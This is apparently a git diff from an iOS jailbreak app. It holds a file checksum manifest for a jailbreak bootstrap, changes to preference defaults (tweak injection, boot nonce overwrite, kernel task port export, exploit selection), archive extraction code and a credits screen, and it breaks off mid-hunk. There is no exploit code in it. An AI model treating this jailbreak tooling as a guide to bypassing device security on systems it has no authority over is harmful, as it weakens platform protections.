779220648133f21501a25a1d7f736ede ./usr/share/terminfo/73/screen3
|
||||
6e536f3f0ca81e760cca30af42ef5ee5 ./usr/share/terminfo/73/screen-16color-bce-s
|
||||
acdec11a201772f9868008c9b35370a4 ./usr/share/terminfo/73/screen-256color-bce
|
||||
451f167847fa67389cf5d57ce1407e43 ./usr/share/terminfo/73/screen.rxvt
|
||||
24337a754ffdf33baa8f7833fec84a17 ./usr/share/terminfo/73/screen.xterm-r6
|
||||
2fdd2ae242a69fc6a6846adbad436bfb ./usr/share/terminfo/73/screen-w
|
||||
1fc43105421912a088b1d94675f7fd05 ./usr/share/terminfo/73/screen.xterm-xfree86
|
||||
4209d2ad407722c4ee0d38679569633f ./usr/share/terminfo/73/screen-16color-s
|
||||
6f004c8e3d5856b5522c8cecbc668ecd ./usr/share/terminfo/73/screen.linux
|
||||
ac3ad0fb0869538166f5a12fbcfe0c21 ./usr/share/terminfo/73/screen-256color-bce-s
|
||||
206907aeaa38189a8b2e74feae020f91 ./usr/share/terminfo/73/screen
|
||||
1e076f070f12f1039f827e518717c5e0 ./usr/share/terminfo/73/screen-bce
|
||||
40e690ba777f5df6351949d569a0c419 ./usr/share/terminfo/73/screen-256color-s
|
||||
3b4151a6763a7d1439e8b1709325f123 ./usr/share/terminfo/73/screen.mlterm
|
||||
6db29fffc6c61f7ce0052805f9d997d9 ./usr/share/terminfo/73/screen-s
|
||||
06d68826ae2b44388d31bbf15bfc3ebf ./usr/share/terminfo/73/screen.teraterm
|
||||
bc62056fcb4a9609cb0ce74bbf3fa5e8 ./usr/share/terminfo/73/screen-16color-bce
|
||||
1fc43105421912a088b1d94675f7fd05 ./usr/share/terminfo/73/screen.xterm-new
|
||||
ffb01624d78c3593c3a5c34624186a7d ./usr/share/terminfo/73/screen-256color
|
||||
19c69a8a937560ae5f5f88b0fe6773a6 ./usr/share/terminfo/73/screen+fkeys
|
||||
6571655c5c8e2cdd82754860b0f12cf9 ./usr/share/terminfo/6c/linux-lat
|
||||
0a3b98f41dbaa4ec10b6b33e1f7e5fb8 ./usr/share/terminfo/6c/linux-koi8r
|
||||
53ab5f398fdf2fc9a04e3d443439c748 ./usr/share/terminfo/6c/linux-vt
|
||||
c908ab61179176e87feeffea61d48550 ./usr/share/terminfo/6c/linux-basic
|
||||
645999d4afb490d40ff6b55239ad8173 ./usr/share/terminfo/6c/linux
|
||||
3497148074bf923fb5947f332143b4dc ./usr/share/terminfo/6c/linux-c-nc
|
||||
5f6c4c2e8b8176b5a75551a123d6a5c7 ./usr/share/terminfo/6c/linux2.6.26
|
||||
d430677ee48aaa29b1ec07856fadf1b3 ./usr/share/terminfo/6c/linux-c
|
||||
859f454b42150769255dcb99d7715769 ./usr/share/terminfo/6c/linux-m
|
||||
ef9a25f74c562344cc9840830df27ce9 ./usr/share/terminfo/6c/linux-nic
|
||||
1e2899cc9d0dbb7e97adc7c6117e296c ./usr/share/terminfo/6c/linux-koi8
|
||||
a06a3fcbf8aebe420717a1933eb21572 ./usr/share/terminfo/76/vt100-putty
|
||||
5ab1f7397095f804dcb33dd95358ff71 ./usr/share/terminfo/76/vt100-nav-w
|
||||
4aaaf3867c2dd1faef92e6519d38e26e ./usr/share/terminfo/76/vt100-s
|
||||
2cfff02a7d0fe4d1ae27b0127b9a7716 ./usr/share/terminfo/76/vt100+
|
||||
e49122999d1ba9ccbe2f7f56d706e897 ./usr/share/terminfo/76/vt100nam
|
||||
5619ee07eba86463eb529b11fa45b7a5 ./usr/share/terminfo/76/vt100-vb
|
||||
1da2593594b479b4ad1191724b755981 ./usr/share/terminfo/76/vt100+enq
|
||||
4aaaf3867c2dd1faef92e6519d38e26e ./usr/share/terminfo/76/vt100-s-top
|
||||
f99eba18048c6edefef69b2aa6cf9671 ./usr/share/terminfo/76/vt100-nam-w
|
||||
3d6df1ce9053ede73fe26bbb393a2da4 ./usr/share/terminfo/76/vt100+fnkeys
|
||||
25cbb52e83f147f21489d20addde7cd1 ./usr/share/terminfo/76/vt100-w
|
||||
96300e9c1b0dea5f61383f5d22342ef3 ./usr/share/terminfo/76/vt100
|
||||
5ab1f7397095f804dcb33dd95358ff71 ./usr/share/terminfo/76/vt100-w-nav
|
||||
846029909338b3ee934e3cc1de3f3c0e ./usr/share/terminfo/76/vt100-bot-s
|
||||
f99eba18048c6edefef69b2aa6cf9671 ./usr/share/terminfo/76/vt100-w-nam
|
||||
8fe8280e41916a873a0235c91308ebd2 ./usr/share/terminfo/76/vt100+pfkeys
|
||||
4aaaf3867c2dd1faef92e6519d38e26e ./usr/share/terminfo/76/vt100-top-s
|
||||
76baa3a9460d6112ac20dbf6f58725c2 ./usr/share/terminfo/76/vt100-nav
|
||||
e49122999d1ba9ccbe2f7f56d706e897 ./usr/share/terminfo/76/vt100-nam
|
||||
1fff1e9d64dd710f90c6008da71cd0a3 ./usr/share/terminfo/76/vt100-bm-o
|
||||
9093d267d0a3b5b7edc3008c6403d47b ./usr/share/terminfo/76/vt100+keypad
|
||||
96300e9c1b0dea5f61383f5d22342ef3 ./usr/share/terminfo/76/vt100-am
|
||||
846029909338b3ee934e3cc1de3f3c0e ./usr/share/terminfo/76/vt100-s-bot
|
||||
25cbb52e83f147f21489d20addde7cd1 ./usr/share/terminfo/76/vt100-w-am
|
||||
846bea1b765ff91b190735acc298a355 ./usr/share/terminfo/76/vt100-bm
|
||||
0ba872cd880784a95b7af42a83c48949 ./usr/share/terminfo/78/xterm-256color
|
||||
29fb028ed95c62344e4c7481dcd29073 ./bin/cat
|
||||
6fc19a7da30a530781ee4273f2a522e9 ./bin/launchctl
|
||||
466ef7ee8a34ba8440e3acb80fa71c87 ./bin/pwd
|
||||
b341e08776130c4bbeacb3c5440a3c8a ./bin/sleep
|
||||
eef9a9be2cbabea493244700f9ae1a74 ./bin/stty
|
||||
49022225d7e96a902373075d65aec180 ./bin/date
|
||||
c88dae390cc7a36d809c47d1ebc3eb8b ./bin/bash
|
||||
07c13bc01719fade1c0de1a58e724054 ./bin/kill
|
||||
370429cf74f838ef835d2f6c0d3fa372 ./bin/sh
|
||||
917a48c4bfbf425642bc6bb211b471c8 ./bin/dd
|
||||
77478fa33e34293ec64b06520e4c177b ./bin/mkdir
|
||||
1db90ee85858bfe24c3e48ee79fc6a8f ./bin/hostname
|
||||
1af430cf9a416718a833dc7d56b83d3f ./bin/rmdir
|
||||
d7b48f7b1b6079c15ca03433aa491b80 ./bin/mv
|
||||
36d7da72f9f403da7f93d05a730e34dc ./bin/ln
|
||||
ab5a603e1b9767b4bdbc7bbe0d1c73ab ./bin/ls
|
||||
073a21568d2972f660a50a6285382e22 ./bin/cp
|
||||
960e843cbea307bbfbfbe03cf0ba6dc7 ./bin/sync
|
||||
1bcc4fc32919686b78d57ddc7c52bd9b ./bin/zsh
|
||||
cef478d4cc0ecf6e79cd66ef6637c326 ./bin/chmod
|
||||
4f5505d33d87c4a7ff02193201259efe ./bin/rm
|
||||
be57e6ecb88b09d17bade80754ac9090 ./sbin/md5
|
||||
d55d1d2b3bb292f0a0bb336fe9207b8e ./sbin/ping
|
||||
80d22f83f5a5910c514548dab882ab88 ./sbin/shutdown
|
||||
fd71b7e59272201dd1224423907f6d19 ./sbin/ifconfig
|
||||
7654ea8f99b18c262cd3eb77147640dd ./sbin/umount
|
||||
50a03c50fd14f9ec62f5354ff65b2a8c ./sbin/kextunload
|
||||
139ce2d3be19697053781879d36e932e ./sbin/mknod
|
||||
4945de2c730d66ee21d0ab14990c026f ./sbin/dmesg
|
||||
1a2802c58d678f6e8f8f8b2027c97c63 ./etc/zshrc
|
||||
fe116dfdd0905b1d881cdb27799332d3 ./etc/profile
|
||||
d41d8cd98f00b204e9800998ecf8427e ./etc/apt/sources.list.d/cydia.list
|
||||
ac0e7ddf2acd61e6c54b37f9fafc1253 ./etc/apt/sources.list.d/saurik.list
|
||||
7c47a6c3258b47b256f601d65c6dae3d ./etc/apt/trusted.gpg.d/zodttd.gpg
|
||||
4f56a1d2f4b62780e13bc494dd0eb8e6 ./etc/apt/trusted.gpg.d/bigboss.gpg
|
||||
ba6d927670a3d16eea0930c13ce60720 ./etc/apt/trusted.gpg.d/modmyi.gpg
|
||||
f2df1c620b1de53b3328f7d16be06317 ./etc/apt/trusted.gpg.d/saurik.gpg
|
||||
69c4ba7f08363e998e0f2e244a04f881 ./etc/alternatives/README
|
||||
9f17f5160584913c1ac2395923f233df ./default.ent
|
||||
Binary file not shown.
Binary file not shown.
@@ -11,7 +11,6 @@
|
||||
#include "JailbreakViewController.h"
|
||||
#include "SettingsTableViewController.h"
|
||||
#include "utils.h"
|
||||
#include "prefs.h"
|
||||
|
||||
@interface AppDelegate ()
|
||||
|
||||
@@ -35,10 +34,9 @@
|
||||
char s[0x10000];
|
||||
|
||||
ssize_t nread = read(infd, s, sizeof(s));
|
||||
if (nread <= 0)
|
||||
return nil;
|
||||
|
||||
write(outfd, s, nread);
|
||||
if (nread > 0) {
|
||||
write(outfd, s, nread);
|
||||
}
|
||||
if (logfd > 0) {
|
||||
if (write(logfd, s, nread) != nread) {
|
||||
write(_orig_stderr, "error writing to logfile\n", 26);
|
||||
@@ -60,8 +58,6 @@
|
||||
rv = select(FD_SETSIZE, &fds, NULL, NULL, NULL);
|
||||
if (FD_ISSET(input_fd, &fds)) {
|
||||
NSString *read = [self readDataFromFD:input_fd toFD:_orig_stdout];
|
||||
if (read == nil)
|
||||
continue;
|
||||
[outline appendString:read];
|
||||
NSRange lastNewline = [read rangeOfString:@"\n" options:NSBackwardsSearch];
|
||||
if (lastNewline.location != NSNotFound) {
|
||||
@@ -78,14 +74,88 @@
|
||||
// Override point for customization after application launch.
|
||||
[self initPrefs];
|
||||
[self initShortcuts];
|
||||
UIApplication.sharedApplication.idleTimerDisabled = TRUE;
|
||||
return YES;
|
||||
}
|
||||
|
||||
|
||||
- (void)initPrefs {
|
||||
register_default_prefs();
|
||||
repair_prefs();
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_TWEAK_INJECTION] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_TWEAK_INJECTION];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_LOAD_DAEMONS] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_LOAD_DAEMONS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_DUMP_APTICKET] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_DUMP_APTICKET];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_REFRESH_ICON_CACHE] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_REFRESH_ICON_CACHE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_BOOT_NONCE] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setObject:@"0xbd34a880be0b53f3" forKey:K_BOOT_NONCE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_EXPLOIT] != nil &&
|
||||
!supportsExploit([[NSUserDefaults standardUserDefaults] integerForKey:K_EXPLOIT])) {
|
||||
[[NSUserDefaults standardUserDefaults] removeObjectForKey:K_EXPLOIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_EXPLOIT] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setInteger:recommendedJailbreakSupport() forKey:K_EXPLOIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_DISABLE_AUTO_UPDATES] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_DISABLE_AUTO_UPDATES];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_DISABLE_APP_REVOKES] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_DISABLE_APP_REVOKES];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_OVERWRITE_BOOT_NONCE] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_OVERWRITE_BOOT_NONCE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_EXPORT_KERNEL_TASK_PORT] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_EXPORT_KERNEL_TASK_PORT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_RESTORE_ROOTFS] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_RESTORE_ROOTFS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_INCREASE_MEMORY_LIMIT] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_INCREASE_MEMORY_LIMIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_ECID] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setObject:@"0x0" forKey:K_ECID];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_INSTALL_CYDIA] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_INSTALL_CYDIA];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_INSTALL_OPENSSH] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_INSTALL_OPENSSH];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_RELOAD_SYSTEM_DAEMONS] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_RELOAD_SYSTEM_DAEMONS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_HIDE_LOG_WINDOW] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_HIDE_LOG_WINDOW];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_RESET_CYDIA_CACHE] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_RESET_CYDIA_CACHE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
}
|
||||
|
||||
- (void)initShortcuts {
|
||||
@@ -108,7 +178,7 @@
|
||||
}
|
||||
|
||||
- (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary <UIApplicationOpenURLOptionsKey, id> *)options {
|
||||
if ([[url absoluteString] isEqualToString:@"undecimus://jailbreak"]) {
|
||||
if ([[url scheme] isEqualToString:@"jailbreak"]) {
|
||||
[[JailbreakViewController sharedController] performSelectorOnMainThread:@selector(tappedOnJailbreak:) withObject:nil waitUntilDone:YES];
|
||||
return YES;
|
||||
}
|
||||
|
||||
@@ -11,24 +11,22 @@
|
||||
#import <archive.h>
|
||||
|
||||
@interface ArchiveFile : NSObject
|
||||
@property (strong,readonly) NSDictionary *files;
|
||||
@property (strong,readonly) NSArray <NSString*> *files;
|
||||
|
||||
+(ArchiveFile*)archiveWithFile:(NSString*)filename;
|
||||
+(ArchiveFile*)archiveWithFd:(int)fd;
|
||||
-(ArchiveFile*)initWithFile:(NSString*)filename;
|
||||
-(ArchiveFile*)initWithFd:(int)fd;
|
||||
-(BOOL)contains:(NSString*)file;
|
||||
-(NSDictionary *)files;
|
||||
-(NSArray <NSString*> *)files;
|
||||
-(BOOL)extract;
|
||||
-(BOOL)extractFileNum:(int)fileNum toFd:(int)fd;
|
||||
-(BOOL)extract:(NSString*)file toPath:(NSString*)path;
|
||||
-(BOOL)extractWithFlags:(int)flags;
|
||||
-(BOOL)extractToPath:(NSString*)path;
|
||||
-(BOOL)extractToPath:(NSString*)path withOwner:(id_t)owner andGroup:(id_t)group;
|
||||
-(BOOL)extractToPath:(NSString*)path overWriteDirectories:(BOOL)overwrite_dirs;
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags;
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs;
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs owner:(id_t)owner andGroup:(id_t)group;
|
||||
@end
|
||||
|
||||
#endif /* _ARCHIVE_FILE_H */
|
||||
|
||||
@@ -58,18 +58,7 @@ copy_data(struct archive *ar, struct archive *aw)
|
||||
return [[[ArchiveFile alloc] initWithFd:fd] autorelease];
|
||||
#endif
|
||||
}
|
||||
-(void)addEntry:(struct archive_entry *)entry
|
||||
{
|
||||
NSString *path = @(archive_entry_pathname(entry));
|
||||
_files[path] = [NSMutableDictionary new];
|
||||
_files[path][@"mode"] = @(archive_entry_mode(entry));
|
||||
_files[path][@"uid"] = @(archive_entry_uid(entry));
|
||||
_files[path][@"gid"] = @(archive_entry_gid(entry));
|
||||
time_t mtime = archive_entry_mtime(entry);
|
||||
if (mtime) {
|
||||
_files[path][@"mtime"] = [NSDate dateWithTimeIntervalSince1970:mtime];
|
||||
}
|
||||
}
|
||||
|
||||
-(void)readContents
|
||||
{
|
||||
struct archive *a = archive_read_new();
|
||||
@@ -79,23 +68,23 @@ copy_data(struct archive *ar, struct archive *aw)
|
||||
return;
|
||||
|
||||
struct archive_entry *entry;
|
||||
_files = [NSMutableDictionary new];
|
||||
while (archive_read_next_header(a, &entry) == ARCHIVE_OK) {
|
||||
[self addEntry:entry];
|
||||
NSString *path = @(archive_entry_pathname(entry));
|
||||
_files[path] = [NSMutableDictionary new];
|
||||
_files[path][@"mode"] = @(archive_entry_mode(entry));
|
||||
_files[path][@"uid"] = @(archive_entry_uid(entry));
|
||||
_files[path][@"gid"] = @(archive_entry_gid(entry));
|
||||
time_t mtime = archive_entry_mtime(entry);
|
||||
if (mtime) {
|
||||
_files[path][@"mtime"] = [NSDate dateWithTimeIntervalSince1970:mtime];
|
||||
}
|
||||
}
|
||||
_hasReadFiles = YES;
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
lseek(_fd, 0, SEEK_SET);
|
||||
}
|
||||
|
||||
-(ArchiveFile*)init
|
||||
{
|
||||
self = [super init];
|
||||
_files = [NSMutableDictionary new];
|
||||
_hasReadFiles = NO;
|
||||
return self;
|
||||
}
|
||||
|
||||
-(ArchiveFile*)initWithFile:(NSString*)filename
|
||||
{
|
||||
if (![[NSFileManager defaultManager] fileExistsAtPath:filename]) {
|
||||
@@ -103,6 +92,8 @@ copy_data(struct archive *ar, struct archive *aw)
|
||||
return nil;
|
||||
}
|
||||
self = [self init];
|
||||
_files = nil;
|
||||
_hasReadFiles = NO;
|
||||
|
||||
_fd = open(filename.UTF8String, O_RDONLY);
|
||||
if (_fd < 0) {
|
||||
@@ -126,6 +117,8 @@ copy_data(struct archive *ar, struct archive *aw)
|
||||
-(ArchiveFile*)initWithFd:(int)fd
|
||||
{
|
||||
self = [self init];
|
||||
_files = nil;
|
||||
_hasReadFiles = NO;
|
||||
_isPipe = YES;
|
||||
|
||||
_fd = fd;
|
||||
@@ -137,11 +130,11 @@ copy_data(struct archive *ar, struct archive *aw)
|
||||
return self;
|
||||
}
|
||||
|
||||
-(NSDictionary*)files {
|
||||
-(NSArray*)files {
|
||||
if (!_hasReadFiles) {
|
||||
[self readContents];
|
||||
}
|
||||
return [_files copy];
|
||||
return [_files.allKeys copy];
|
||||
}
|
||||
|
||||
-(BOOL)extractFileNum:(int)fileNum toFd:(int)fd
|
||||
@@ -355,11 +348,6 @@ out:
|
||||
return [self extractToPath:path withFlags:DEFAULT_FLAGS];
|
||||
}
|
||||
|
||||
-(BOOL)extractToPath:(NSString*)path withOwner:(id_t)owner andGroup:(id_t)group
|
||||
{
|
||||
return [self extractToPath:path withFlags:DEFAULT_FLAGS overWriteDirectories:NO owner:owner andGroup:group];
|
||||
}
|
||||
|
||||
-(BOOL)extractToPath:(NSString*)path overWriteDirectories:(BOOL)overwrite_dirs
|
||||
{
|
||||
return [self extractToPath:path withFlags:DEFAULT_FLAGS overWriteDirectories:overwrite_dirs];
|
||||
@@ -371,10 +359,6 @@ out:
|
||||
}
|
||||
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs
|
||||
{
|
||||
return [self extractToPath:path withFlags:flags overWriteDirectories:overwrite_dirs owner:-1 andGroup:-1];
|
||||
}
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs owner:(id_t)owner andGroup:(id_t)group
|
||||
{
|
||||
BOOL result = NO;
|
||||
|
||||
@@ -408,24 +392,13 @@ out:
|
||||
goto out;
|
||||
}
|
||||
while ((rv = archive_read_next_header(a, &entry)) == ARCHIVE_OK) {
|
||||
const char *overwrite_temp = NULL;
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive \"%s\": %s", archive_entry_pathname(entry), archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
if (owner >= 0) {
|
||||
archive_entry_set_uid(entry, owner);
|
||||
}
|
||||
if (group >= 0) {
|
||||
archive_entry_set_gid(entry, group);
|
||||
}
|
||||
[self addEntry:entry];
|
||||
|
||||
NSString *filenameobj = @(archive_entry_pathname(entry));
|
||||
const char *filename = filenameobj.UTF8String;
|
||||
NSLog(@"Processing %s", filename);
|
||||
|
||||
const char *filename = archive_entry_pathname(entry);
|
||||
struct stat st;
|
||||
rv = stat(filename, &st);
|
||||
if (rv == 0) {
|
||||
@@ -436,16 +409,12 @@ out:
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (S_ISREG(st.st_mode)) {
|
||||
if (isInAMFIStaticCache(filenameobj)) {
|
||||
// --BootLoop
|
||||
NSLog(@"Archive: cowardly refusing to overwrite stock file: %s", filename);
|
||||
continue;
|
||||
}
|
||||
NSLog(@"Archive: Overwriting file %s", filename);
|
||||
overwrite_temp = [[filenameobj stringByAppendingString:@".archive-new"] UTF8String];
|
||||
archive_entry_set_pathname(entry, overwrite_temp);
|
||||
if (S_ISREG(st.st_mode) && isInAMFIStaticCache(@(filename))) {
|
||||
// --BootLoop
|
||||
NSLog(@"Archive: cowardly refusing to overwrite stock file: %s", filename);
|
||||
continue;
|
||||
}
|
||||
NSLog(@"Archive: Overwriting file %s", filename);
|
||||
}
|
||||
rv = archive_write_header(ext, entry);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
@@ -465,32 +434,9 @@ out:
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
if (overwrite_temp) {
|
||||
NSString *tmpFile = [filenameobj stringByAppendingString:@".archive-tmp"];
|
||||
NSLog(@"renaming out for %s\n", filename);
|
||||
if (rename(filename, tmpFile.UTF8String)) {
|
||||
unlink(overwrite_temp);
|
||||
NSLog(@"Archive: Unable to rename original file %s", filename);
|
||||
goto out;
|
||||
}
|
||||
NSLog(@"renaming in for %s\n", filename);
|
||||
if (rename(overwrite_temp, filename)) {
|
||||
unlink(overwrite_temp);
|
||||
NSLog(@"Archive: Unable to rename new file %s", filename);
|
||||
rename(tmpFile.UTF8String, filename);
|
||||
goto out;
|
||||
}
|
||||
NSLog(@"unlinking for %s\n", filename);
|
||||
if (unlink(tmpFile.UTF8String)) {
|
||||
NSLog(@"Archive: Unable to remove temp file %s", tmpFile.UTF8String);
|
||||
goto out;
|
||||
}
|
||||
overwrite_temp = NULL;
|
||||
}
|
||||
NSLog(@"%s: OK", filename);
|
||||
}
|
||||
result = YES;
|
||||
_hasReadFiles = YES;
|
||||
out:
|
||||
[fm changeCurrentDirectoryPath:cwd];
|
||||
archive_write_close(ext);
|
||||
|
||||
@@ -50,12 +50,8 @@
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"i41nbeer"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnBazad:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"_bazad"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnMorpheus:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Morpheus______"] options:@{} completionHandler:nil];
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"morpheus______"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnXerub:(id)sender{
|
||||
@@ -87,7 +83,7 @@
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnRob:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"AyyItzRob"] options:@{} completionHandler:nil];
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Rob_Coleman123"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnMidnightChip:(id)sender{
|
||||
@@ -118,64 +114,4 @@
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"saurik"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnUndecimusResources:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://github.com/pwn20wndstuff/Undecimus-Resources"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnTihmstar:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"tihmstar"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnSiguza:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"s1guza"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnS0rryMyBad:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"S0rryMyBad"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnExternalist:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Externalist"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnRealBrightiup:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"realBrightiup"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnNitoTV:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"nitoTV"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnMatchstic:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"_Matchstic"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnUmanghere:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"umanghere"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnMiscMisty:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"MiscMisty"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnSemaphore:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"notcom"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnPimskeks:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"pimskeks"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnLibimobiledevice:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://github.com/libimobiledevice"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnCoolStar:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"coolstarorg"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnBen:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"benjweaverdev"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
+17
-11
@@ -237,11 +237,6 @@ NSArray *allDepsForPkg(NSString *pkg) {
|
||||
}
|
||||
|
